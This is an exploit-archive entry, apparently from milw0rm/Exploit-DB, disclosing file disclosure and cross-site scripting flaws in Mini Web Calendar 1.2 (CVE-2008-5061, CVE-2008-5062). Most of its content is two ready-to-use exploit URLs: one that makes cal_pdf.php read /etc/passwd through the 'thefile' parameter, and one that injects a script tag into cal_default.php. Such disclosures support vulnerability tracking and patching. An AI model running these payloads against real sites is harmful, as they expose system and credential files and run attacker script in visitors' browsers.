Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting

Author: ahmadbady
type: webapps
platform: php
port: 
date_added: 2008-11-06 
date_updated: 2016-11-24 
verified: 1 
codes: OSVDB-49680;CVE-2008-5062;OSVDB-49679;CVE-2008-5061 
tags: 
aliases:  
screenshot_url:  
application_url: 

************************(XSS / FD Vulnerability)**************

script:Mini Web Calendar, ver. 1.2


************************************************************************************************************
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94

************************************************************************************************************


......................................................................................
local file xpl:

http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd

xss xpl:

http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>



***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-07]